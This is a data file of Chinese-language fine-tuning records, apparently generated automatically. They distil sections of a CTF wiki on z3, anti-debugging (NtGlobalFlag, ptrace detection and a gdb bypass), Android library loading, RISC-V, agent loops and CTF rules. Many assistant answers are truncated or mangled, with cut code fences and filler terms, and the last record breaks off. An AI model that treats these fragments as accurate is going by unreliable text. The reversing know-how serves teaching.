{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-a6da3879897dbd76f085", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/constraint/z3.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/constraint/z3.md`\n标题：z3\n章节：z3 > 简介\n路径分类：reverse / reverse/tools/constraint\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- Z3 solver 是由微软开发的 可满足性模理论求解器（Satisfiability Modulo Theory solver， 即 SMT solver），用于检查逻辑表达式的可满足性，并可以找到一组约束中的其中一个可行解（无法找出所有的可行解）。\n- [图片文件: ./figure/architecture-z3.jpg] 在 CTF 逆向题中，我们有的时候会遇到一些较为复杂的约束条件，此时可以使用 z3 来辅助求解。\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- constraint\n- z3.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 260, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "简介", "heading_path": ["z3", "简介"], "original_id": "docs-26c192bfad5e045577fa", "original_line": 1551, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "source_root": "docs", "source_sha256": "a16b4230e7629ee9b7c69cbd84da478d04a8ace633ef9a03df2a895d982a8ad3", "split": "train", "split_group_key": "c437a77b2c86098e852b36e9", "subcategory": "reverse/tools/constraint", "terms": ["AI安全", "reverse", "tools", "constraint", "z3.md"], "title": "z3"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-a7a7fe55069d584da10d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「关于NtGlobalFlag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`\n标题：NtGlobalFlag\n章节：NtGlobalFlag > 关于NtGlobalFlag\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“关于NtGlobalFlag”展开。\n- 在32位机器上, NtGlobalFlag字段位于PEB(进程环境块)0x68的偏移处, 64位机器则是在偏移0xBC位置. 该字段的默认值为0. 当调试器正在运行时, 该字段会被设置为一个特定的值. 尽管该值并不能十分可信地表明某个调试器真的有在运行, 但该字段常出于该目的而被使用. 该字段包含有一系列的标志位. 由调试器创建的进程会设置以下标志位: ``c FLG_HEAP_ENABLE_TAIL_CHECK (0x10) FLG_HEAP_ENABLE_FREE_CHECK (0x20) FLG_HEA...\n\n关键术语：\n- 堆\n- AI安全\n- reverse\n- platform\n- windows\n- anti-debug\n- code:c\n\n代码/命令片段线索：\n- c: 3 行，首行 `FLG_HEAP_ENABLE_TAIL_CHECK (0x10)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 300, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "关于NtGlobalFlag", "heading_path": ["NtGlobalFlag", "关于NtGlobalFlag"], "original_id": "docs-66df7f4b7783514a6b40", "original_line": 1522, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "source_root": "docs", "source_sha256": "ec56247871fb9435305e4c8b2388abac89e4886e3581a55b8ee83db9de62d5a7", "split": "train", "split_group_key": "ed4bbbd6ecd9acf535985b1c", "subcategory": "reverse/platform/windows", "terms": ["堆", "AI安全", "reverse", "platform", "windows", "anti-debug", "code:c"], "title": "NtGlobalFlag"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-aada16968d760aa5e789", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「loadLibrary 加载流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/native_layer/so.md`\n标题：so 介绍\n章节：so 介绍 > loadLibrary 加载流程\n路径分类：android / android/basic_operating_mechanism/native_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“loadLibrary 加载流程”展开。\n- The mapping of the specified library name to the full path for loading the library is implementation-dependent. @param libName the name of the library to load. @throws UnsatisfiedLinkError if the library can not be loaded. / public void loadLibrary(String l...\n- } `` 可以看出，程序主要的功能正如注释所说 > Searches for a library, then loads and links it without security checks. 而其中所采用的加载函数是 doLoad 函数。\n- `java /* Loads and links the library with the specified name.\n- } / Searches for a library, then loads and links it without security checks. */ void loadLibrary(String libraryName, ClassLoader loader) { if (loader !\n- = null) { String filename = loader.findLibrary(libraryName);\n\n关键术语：\n- 栈\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- native-layer\n- so.md\n- code:java\n\n代码/命令片段线索：\n- plain: 2 行，首行 `> > Runtime.getRuntime().loadLibrary(name)`\n- java: 49 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2046, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "loadLibrary 加载流程", "heading_path": ["so 介绍", "loadLibrary 加载流程"], "original_id": "docs-cbdb41227a387f287dc3", "original_line": 70, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "source_root": "docs", "source_sha256": "177ae3216c4014a84a5b4b0bf3da85057941f6578ea85692932859c1fed69579", "split": "train", "split_group_key": "4e81f0e3d80199d0cf2813f4", "subcategory": "android/basic_operating_mechanism/native_layer", "terms": ["栈", "Android逆向", "AI安全", "android", "basic-operating-mechanism", "native-layer", "so.md", "code:java"], "title": "so 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-aaf2cf9aa9862ba8d8b4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（2）常见立即数指令（I 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （2）常见立即数指令（I 型）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（2）常见立即数指令（I 型）”展开。\n- I 型指令对寄存器和立即数执行运算，适用于快速计算和常数赋值。\n\n关键术语：\n- AI安全\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 729, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "（2）常见立即数指令（I 型）", "heading_path": ["Risc-V", "0x03 常见指令", "（2）常见立即数指令（I 型）"], "original_id": "docs-a484634076bc6faa6f21", "original_line": 116, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "cd9810c8ef3ac313a52d17fb", "subcategory": "assembly/risc-v/readme.md", "terms": ["AI安全", "assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-ae54646232dd5073ba36", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- Agent Loop 是一种用于实现 AI Agent 的基础执行机制，即 “agent 如何被持续驱动执行的底层控制结构”， 其核心是一个 “观察（Observation）—>状态更新（State Update）—>行动（Action）” 的 循环 ，从而使 AI Agent 能够在环境反馈驱动下逐步完成任务。\n- 在 Agent Loop 框架中， AI Agent 首先接收任务目标，并在每一轮迭代中基于当前观测信息与内部状态进行推理，生成下一步行动决策。\n- [图片文件: ./figure/agent-loop.jpg] 从系统角度来看，Agent Loop 可以被形式化为一种离散时间的决策过程，其结构类似于部分可观测马尔可夫决策过程（POMDP）的简化实现。\n- 在这一过程中， AI Agent 并不直接访问完整环境状态，而是依赖有限的观测与历史信息进行近似决策。\n- Agent Loop 本质上是一种通用的基础执行框架的抽象概念，在工程实践中开发者往往会在 Loop 之上构建更复杂的执行策略，例如引入显式规划（Planning）、反思机制（Reflection）或分层控制策略（Hierarchical Control）等。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 833, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "简介", "heading_path": ["简介"], "original_id": "docs-68af0d86ee3243921ed1", "original_line": 13, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "f2e6193008b2110fa3f41ce1", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b49464a16bab643374ab", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/challenges.md` 中的章节「Public Blockchain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/challenges.md`\n标题：Blockchain Security Challenges\n章节：Blockchain Security Challenges > Blockchain Security Challenges in CTF > Public Blockchain\n路径分类：blockchain / blockchain/challenges.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Public Blockchain”展开。\n- RealWorld - 2021 + 题目名称 Billboard - DDCTF - 2018 + 题目名称 mini blockchain\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- challenges.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 211, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "Public Blockchain", "heading_path": ["Blockchain Security Challenges", "Blockchain Security Challenges in CTF", "Public Blockchain"], "original_id": "docs-eb883ab811fc73977cda", "original_line": 129, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "source_root": "docs", "source_sha256": "1f5f6784399cc85eae9741b340c486348077befe391df570d2add24412f6209c", "split": "train", "split_group_key": "d504173d6e9edaaae0cc54dc", "subcategory": "blockchain/challenges.md", "terms": ["区块链安全", "AI安全", "blockchain", "challenges.md"], "title": "Blockchain Security Challenges"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b4c0c286605f9e093315", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「基本规则」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 攻防模式 - Attack & Defense > 基本规则\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本规则”展开。\n- 每回合内，一个战队的一个服务被渗透攻击成功（被拿 Flag 并提交），则扣除一定分数，攻击成功的战队平分这些分数。\n- 禁止对赛题以外的比赛平台发起攻击，包括但不限于在 gamebox 提权 root、利用主办方平台漏洞等，违规者立刻被取消参赛资格。\n- 每回合内，服务异常和被拿 Flag 可以同时发生，即战队在一个回合内单个服务可能会扣除两者叠加的分数。\n- 比赛以指定时间段（通常为 5/10 分钟）为一个回合，每回合主办方会更新已放出服务的 Flag。\n- 每回合内，如果战队能够维护自己的服务正常运行，则分数不会减少（如果防御成功加分则会加分）。\n\n关键术语：\n- 漏洞利用\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 522, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "ai", "heading": "基本规则", "heading_path": ["CTF 竞赛模式简介", "攻防模式 - Attack & Defense", "基本规则"], "original_id": "docs-055c711f8cf6994dde3a", "original_line": 532, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "4193d120b882f37eec3670da", "subcategory": "introduction/mode.md", "terms": ["漏洞利用", "mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b59ee07e73de1eaa16db", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/introduction.md` 中的章节「XSCH」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/introduction.md`\n标题：Web 简介\n章节：Web 简介 > XSCH\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“XSCH”展开。\n- 例如： ``xml    ` 因为跨域策略文件配置为 `，也就指任意域的 Flash 都可以与它交互，导致可以发起请求、获取数据。\n- 由于网站开发者在使用 Flash、Silverlight 等进行开发的过程中的疏忽，没有对跨域策略文件（crossdomain.xml）进行正确的配置导致问题产生。\n\n关键术语：\n- AI安全\n- web\n- introduction.md\n- code:xml\n\n代码/命令片段线索：\n- xml: 3 行，首行 ``\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 230, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "XSCH", "heading_path": ["Web 简介", "XSCH"], "original_id": "docs-393f22a630e79d92615d", "original_line": 1593, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "c33e53e95e98e6d59329a951", "subcategory": "web/introduction.md", "terms": ["AI安全", "web", "introduction.md", "code:xml"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b5d7cde0326cbdd2115b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/security-for-ai/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/security-for-ai/introduction.md`\n标题：Security for AI\n章节：Security for AI > 简介\n路径分类：ai / ai/security-for-ai/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 随着 AI 模型在关键业务和基础设施中的广泛应用，其自身也逐渐成为攻击者的重要目标。\n- 因此，Security for AI 的核心在于识别并缓解 AI 生命周期各阶段中的安全风险，包括数据收集、模型训练、部署以及推理过程。\n- 与 AI for Security 相对，Security for AI 关注的是如何保护 AI 系统本身的安全性与可靠性。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- ai\n- security-for-ai\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "简介", "heading_path": ["Security for AI", "简介"], "original_id": "docs-d29b97c3f8c4c0fd6210", "original_line": 25, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/security-for-ai/introduction.md", "source_root": "docs", "source_sha256": "b337167fd3b5ad0b52908b2793ed31a697866cde2d196e6db498967e6bc07f6d", "split": "train", "split_group_key": "8b99e471529fbb64a17cfd70", "subcategory": "ai/security-for-ai/introduction.md", "terms": ["AI安全", "修复/缓解", "漏洞利用", "ai", "security-for-ai", "introduction.md"], "title": "Security for AI"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/security-for-ai/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b761bd09f4a8e133876b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「Detecting debugging」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/detect-dbg.md`\n标题：Detecting debugging\n章节：Detecting debugging\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Detecting debugging”展开。\n- 检测调试器的方法很多, 比如检测进程名之类. 这里我们介绍一种方法, 就是通过检测一些函数的调用情况来分析程序当前是否处于被调试状态 ``c int main() { if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) { printf(\"DEBUGGING...\n- } `` 一个进程只能被一个进程ptrace, 如果你自己调用ptrace, 那么其它程序就无法通过ptrace调试或向你的程序注入代码. 如果程序当前被gdb调试, 那么ptrace函数就会返回错误, 也就侧面表明了检测到了调试器的存在.\n\n关键术语：\n- AI安全\n- reverse\n- platform\n- linux\n- detect-dbg.md\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `int main()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 329, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "Detecting debugging", "heading_path": ["Detecting debugging"], "original_id": "docs-ef6c2e9fbbcc39c70661", "original_line": 1491, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "source_root": "docs", "source_sha256": "0cce4922bb96dc05c163bcf7d51b7f922f5eec0a174642d7ed18962b3e4bcd38", "split": "train", "split_group_key": "2babe6da2af90a86dad71556", "subcategory": "reverse/platform/linux", "terms": ["AI安全", "reverse", "platform", "linux", "detect-dbg.md", "code:c"], "title": "Detecting debugging"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b79d3d1098d7797264f9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「6. 调用 Agent Loop」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`\n标题：简介\n章节：简介 > 教程：构建朴素的 Agent Loop > 6. 调用 Agent Loop\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“6. 调用 Agent Loop”展开。\n- \" f\" Total time: {time.time() - start_time} seconds.\" ) ``\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n- code:python\n\n代码/命令片段线索：\n- python: 23 行，首行 `def main(argv):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 504, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "6. 调用 Agent Loop", "heading_path": ["简介", "教程：构建朴素的 Agent Loop", "6. 调用 Agent Loop"], "original_id": "docs-ea0d545a6d5ffece017e", "original_line": 20, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "source_root": "docs", "source_sha256": "c6513fee10432a151bcb66e28b1ae14b3c34d819f61b6ac647ab2cf2d694a336", "split": "train", "split_group_key": "e82f4567b01a5feb1761cb51", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b8695c8f631cf44bffe0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/experience.md` 中的章节「线下攻防经验小结」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/experience.md`\n标题：线下攻防经验小结\n章节：线下攻防经验小结\n路径分类：introduction / introduction/experience.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“线下攻防经验小结”展开。\n- 然后比赛时主办方也会给每个参赛队伍提供一台用于 分析网络流量的虚拟机 ，选手需要访问地址下载流量文件进行分析。\n- 一般我们需要根据主办方给出的文档要求通过接口提交 flag。\n- 首先，正常比赛会提供提交 flag 的接口，接口地址类似 http://172.16.4.1/Common/submitAnswer。\n- 在比赛中要求接口地址使用 Post 方式提交，提交时带两个参数，一个是 Answer，其值为获取到的 flag 字符串，而另一个则是 token ，其值为各个队伍的队伍 Token。\n\n关键术语：\n- experience.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 255, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "线下攻防经验小结", "heading_path": ["线下攻防经验小结"], "original_id": "docs-f83aba9b40b820c2c50e", "original_line": 520, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "source_root": "docs", "source_sha256": "e592320dcfc0ecda96a25a0b459d8a88f3cc2a78f546ee90f9c36ef295764e89", "split": "train", "split_group_key": "62bd0fcf37e0586c2500744e", "subcategory": "introduction/experience.md", "terms": ["experience.md"], "title": "线下攻防经验小结"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-b94065df9f023191fb1e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「gdb test_debug」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/linux/detect-dbg.md`\n标题：Detecting debugging\n章节：gdb test_debug\n路径分类：reverse / reverse/platform/linux\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“gdb test_debug”展开。\n- gdb> finish 00x80483d9 : add $0x10,%esp 0x80483dc : test %eax,%eax 0x80483de : jns 0x80483fa  0x80483e0 : sub $0xc,%esp 0x80483e3 : push $0x80484e8 0x80483e8 : call 0x80482e0 -------------------...\n- `` gdb> set $eax=0 gdb> c everything ok Program exited with code 016. _______________________________________________________________________________ No registers. gdb> ``\n\n关键术语：\n- AI安全\n- reverse\n- platform\n- linux\n- detect-dbg.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `将函数返回结果eax修改为正确的返回结果, 就可以了`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 545, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "gdb test_debug", "heading_path": ["gdb test_debug"], "original_id": "docs-77100585155509d3d976", "original_line": 1494, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/linux/detect-dbg.md", "source_root": "docs", "source_sha256": 